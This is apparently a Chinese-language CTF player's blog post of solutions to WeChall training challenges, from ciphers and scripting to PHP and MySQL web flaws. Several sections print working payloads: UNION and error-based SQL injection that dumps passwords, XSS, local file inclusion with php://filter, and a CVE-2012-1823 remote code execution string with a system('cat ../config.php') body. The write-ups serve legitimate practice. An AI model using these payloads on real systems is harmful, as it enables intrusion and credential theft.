WeChall 综合练习

刚刚结束的TCTF上,由于Web题的惨剧导致我们学校和其他几个战队组建的联合战队被ROIS爆了。。。

虽然我只是一个旁观者,我们Pwn上的优势没有挽救我们Web上面的颓势

立个flag:我来

前面的Pikachu基本做完了(除了SQL等部分),这些部分由WeChall上面的练习来弥补。

前一阵子搞MISC比较多,但是现在碰到一些奇怪的隐写or乱搞一样不会

最近翻blog发现了r3kapig里面flappypig战队的大佬,决定跟着这个轨迹来搞一遍Web相关(可能不仅仅是Web?)

Training:Get Sourced

看源代码得到答案

Training:Stegano I

改成txt文件看下

Training:Crypto - Caesar I

这个网站,里面有凯撒解密,还能用英文字典直接分析,比较方便。

或者用quipqiup,传统置换密码基本都可以解密。

Training:WWW-Robots

访问主站的robots.txt得到答案

Training:ASCII

写个Python脚本

1
2
3
a = "84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 112, 103, 109, 111, 112, 114, 97, 115, 110, 102, 102, 98";
for i in a.split(', '):
print("{0}".format(chr(int(i))),end='')

Encodings - URL Encode

用现成的Hackbar工具直接解密URL字符串

Prime Factory

编程直接解决

Python/C++均可,为了练习Python我用Python编写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import math
a = 1000000
count = 0
while True:
flag = 1
for i in range(2,int(math.sqrt(a))+1):
if (a%i == 0):
flag = 0
break
Sum = 0
if(flag == 1):
b = str(a)
for i in b:
Sum += int(i)
for i in range(2,int(math.sqrt(Sum))+1):
if (Sum%i == 0):
flag = 0
break
if(flag == 1):
count = count + 1
print("{0}".format(a),end = '')
a = a + 1
if(count == 2):
break

Training:Encodings I

给了个JPK
这个工具很好用!
注意此时是七位一分格,ASCII码
很奇妙

Training:Programming I

这个需要编程,不然反应没法这么快

那就编一下,顺便学一下urllib

代码中的WC是Cookie,注意根据每个人的不同而不同,可以在Firefox上用Cookie Editor知道

其实没必要用最后的打印,毕竟只要打开就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import urllib.request
from io import BytesIO
import gzip
headers = {
'Host':'www.wechall.net',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Referer':'http://www.wechall.net/challenge/training/programming1/index.php',
'Cookie':'WC=123',
'DNT':'1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
url1 = r'http://www.wechall.net/challenge/training/programming1/index.php?action=request'
url2 = r'http://www.wechall.net/challenge/training/programming1/index.php?answer='
req = urllib.request.Request(url=url1,headers=headers,method='POST')
data = urllib.request.urlopen(req)
str1 = data.read().decode('utf-8')
str2 = url2+str1
print(str2)
req1 = urllib.request.Request(url=str2,headers=headers,method='POST')
data = urllib.request.urlopen(req1)
buff = BytesIO(data.read())
f = gzip.GzipFile(fileobj=buff)
print(f.read().decode('utf-8'))

Training:Regex

好吧,要学正则表达式……

我最痛恨的东西之一

那就学吧

level1: 答案是/^$/,我因为没加两个斜杠思考了半天

level2: /^wechall$/

level3: 绞尽脑汁编了一个/^wechall[4]?\.(?:jpg|gif|tiff|bmp|png)$/

然后他说最短的就39个字符。。。于是又要思考了,我这个41个字符

于是我把4的左右括号删了,就成功了

payload = /^wechall4?\.(?:jpg|gif|tiff|bmp|png)$/

level4: 思考了很久,编了一个 /^(?:\w+)(?=\.\w+$)/

于是不行。

想了下,可能会出现aaa.123.jpg这种情况,于是再改一下

/^(?:[\.\w]+)(?=\.\w+$)/

还是不行,十分头疼,到底是啥没匹配上?

那就上网搜一下,于是就没搜到

又弄了一个更加激进的/^(?:[\w\W]*)(?=\.[\w\W]+$)/

然而还不行

弃疗了,希望有大佬告诉我这个题怎么解

更新:/^.+(?=\..+$)/也不行

Training:PHP LFI

好久没碰Web题目了,%00截断都忘了……
于是答案是?file=../../solution.php%00

PHP 0817

结尾加上?which=solution就可以了

那么,为什么可以呢?我查了一下,发现是这个原因:

PHP中switch的逻辑是根据传入switch()的参数,和下面的case参数用==(重点!)比较,相同就执行,不同就下一个

这个执行的逻辑和C语言是一样的,也是不碰到break就一直执行。

那么,在这个题目上,我们用了?which=solution,而在PHP中(int)$string是等于0的,那么这个switch就进入了case 0的循环中,然而没有break,于
是会一直执行到正常的文件包含的地方,然后就没了。

Training:WWW-Basic

需要一个服务器

我自己写了个自动发包登录然后POST的python脚本,然后利用服务器发

结果……Wechall似乎有个识别是否脚本登录的功能,怎么也成功不了

于是先放下,等到我弄个远程桌面再说

弄好了

Limited Access

注意给了.htaccess

发现只limit了GET

于是我们用burpsuite改成POST发包就结束

Limited Access Too

发现limit了一堆东西

那么我们继续改包,随便打几个字符替换掉GET就行

HOST me

改包,把Host改成localhost

注意此时发包的对象(HOST)就不对了,这时候把上面GET后面的网址补全即可

Training:Tracks

先投一次

然后改包,把VOTE和下面的If-None-Match里面改个新的一样的值然后发包就行

htmlspecialchars

经典的情况……知道PHP中htmlspecialchars不会自动转换单引号,这个题就成功了

解决方案是在htmlspecialchars的函数中添加第二个参数ENT_QUOTES,表示对两种引号均进行编码

Yourself PHP

XSS点不在username,在源代码下面的$_SERVER['PHP_SELF']

这个东西是你的网页地址,所以我们进行奇怪的构造

1
/"></form><script>alert(1);</script>

加在源网页后面就过了(下面没有进行htmlspecialchars的判断)

Training:Registered Globals

链接

也就是说,我们能用GET改参数。

于是我们加上?login[0]=admin就过了。

Training:MySQL I

先学习SQL语句的格式,然后就会了(建议在RUNOOB学)

考虑mysql的注释

于是在username字段填写admin'#

就过了

Training:MySQL II

联合查询语句和SELECT的使用

SQL-SELECT教程

SQL-UNION教程

同时,我们还知道SELECT可以选择常量。

于是这题就可以做了

注意看源代码知道了数据的储存格式,于是构造

在username字段填写' UNION SELECT 0,'admin',md5('') FROM users WHERE ''='

也可以' UNION SELECT 0,'admin',md5('') ORDER BY '3

第二个短一点

密码为空,直接提交过关

注:在几天后,我有了新想法' UNION SELECT 0,'admin',md5('')#

更短

No Escape

先投一票,观察一下

然后构造payload为?vote_for=bill`=111--+在网址后面

至于为什么不能用#来注释,我也不知道……

Addslashes

看到源文件中有GBK就立刻想到宽字符注入。

既然用GET查询,那么构造

1
?username=%df%27+UNION+SELECT+CHAR(65,100,109,105,110)--+&password=&login=%E6%B3%A8%E5%86%8C

没了

The Guestbook

注意源文件的gbook_getIP()

这里没有对ip进行过滤

那么我们加上X-Forwarded-For就好了

于是抓包,加

1
X-Forwarded-For:127.0.0.1',(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'));#

然后看留言板,没了

MD5.SALT

输点东西,发现会出一个Hello xxxx

那我们来进行注入,构造Admin' AND 1=2 UNION SELECT password,password FROM users WHERE username='Admin'#

然后就是Hello xxxxx(这个是密码)

然后四处找网站,cmd5xmd5要收我钱,pmd5解不出,于是找到了somd5

解出答案是academicsalt21

登录,不行,但是题目名提示了我们:MD5.SALT

于是把salt21删掉,就过了

Table Names

MySQL盲注

先找到库的名字' AND 1=2 UNION SELECT 1,2,DATABASE()#

根据库的名字找表名' AND 1=2 UNION SELECT DATABASE(),2,GROUP_CONCAT(table_name) FROM information_schema.columns WHERE table_schema='gizmore_tableu61'#

然后有好几个表(aaawrong,),哪个是正确的呢?

于是我们测试一下,注意给了帐号test

输入为空和输入' AND 1=2 UNION SELECT * FROM gizmore_tableu61.usertableus4#一样,得知答案为gizmore_tableu61_usertableus4

其实,有时候我们还需要知道字段,也顺便写下吧' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='usertableus4'#

爆用户名' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(username) FROM gizmore_tableu61.usertableus4#

爆密码' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(password) FROM gizmore_tableu61.usertableus4#

Table Names II

这个题建议看大佬的题解,在此之前我不知道有processlist这个东西

输入为' AND 1=2 UNION SELECT info,2,3 FROM information_schema.processlist#

以下为举一反三:

注意这个方法也可以用在Table Names这题上, 但是只有表的名字,所以数据库是默认数据库——在上一题可以用DATABASE()获得

但是如果上一题不允许用DATABASE()呢?于是我们本机先USE mysql;再测一下SHOW processlist;

1
2
3
4
5
6
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
| Id | User | Host | db | Command | Time | State | Info |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
| 4 | event_scheduler | localhost | NULL | Daemon | 20408 | Waiting on empty queue | NULL |
| 9 | root | localhost:13940 | mysql | Query | 0 | starting | show processlist |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+

有一行是db——得到了当前的数据库

于是上一题有了一种不需要DATABASE()的做法’ AND 1=2 UNION SELECT info,2,GROUP_CONCAT(db) FROM information_schema.processlist#

本题结束

Light in the Darkness

注入原理链接

注入方式floor注入

payload=' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(password,FLOOR(RAND(0)*2)))#

注意把报错的最后一个1删掉,这个1是CONCAT加上去的

Training:LSB

图片搞下来

然后用StegSolve打开一个个图层看,就有答案

PHP 0815

弱类型转换问题

字符串和in_array比较没有启用严格比较是不比较数据类型的

所以我们加上强制转换就行了

也就是-0

与整数相减后得到的是整数

Guesswork

脚本爆破密码,可以试试用burpsuite的Pitchfork来配合字典

懒得爆了(速度太慢,可能是因为WeChall的服务器在国外的原因),百度得到密码为wechallbot

PHP 0818

要让输入是一个数,但是又不允许有数字出现

我们打开计算器,把这串数字粘贴进去,发现HEX形式为DEADC0DE

那么输入为0xDEADC0DE,恰好绕过限制。

PHP 0816

注意开头的if语句执行顺序和传进来的参数位置有关,我们只需要执行php0816Highlighter()就行

所以我们把三个参数换下位置,src改成solution.php就可以了

答案是AnotherCodeflowMistake

PHP 0819

利用heredoc来绕过单引号的检测

payload=

1
?eval=<<<q%0A1337%0Aq;%0A

注意%0A为换行符

Training:RegexMini

思考了很长时间,看了一下论坛,找到了一种PHP方法

注意多行模式下,回车符不会被preg_match考虑作为字母处理而是作为终止符,但是strlen把回车符认为是字符串中的一个字符,从而达到绕过的目的。

我们在框里敲16个英文字母,然后用Burpsuite拦截包,用C语言打一个回车符(直接用Windows电脑键盘回车敲的会是\r\n,只有通过某些手段打印的才是只有\n)然后复制粘贴,这样就过了

AUTH me

气到吐血

这个题花费了我无数精力,怎么做也做不出来

后来终于找到一份题解

智商被侮辱了

直接返回apache.conf上层文件夹然后下载p12证书导入Firefox就完事了

Crappyshare

注意到没有过滤协议文本

所以在框里面提交file://solution.php

答案是ICaNSeEcLeArLyNoW

Warchall: Live LFI

找了半天发现只有两个按钮能点击,其他的没有提示

然后就有了?lang=en

于是猜测是在这个东西里面操作,但是不知道要写啥

搜了题解发现是solution.php,好吧我写上去,用php伪协议绕过即可

Payload=?lang=php://filter/read=convert.base64-encode/resource=solution.php

Warchall: Live RFI

和上题一样

Warchall: Live RCE

CVE-2012-1823

Payload=?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

利用burpsuite POST数据<?php system('cat ../config.php');?>

Stop us

注意到这个程序运行缓慢

只要在它扣钱之前关掉就行


Just for fun!


WeChall 综合练习
http://hexo.init-new-world.com/wechall-exercise
Author
John Doe
Posted on
June 25, 2019
Licensed under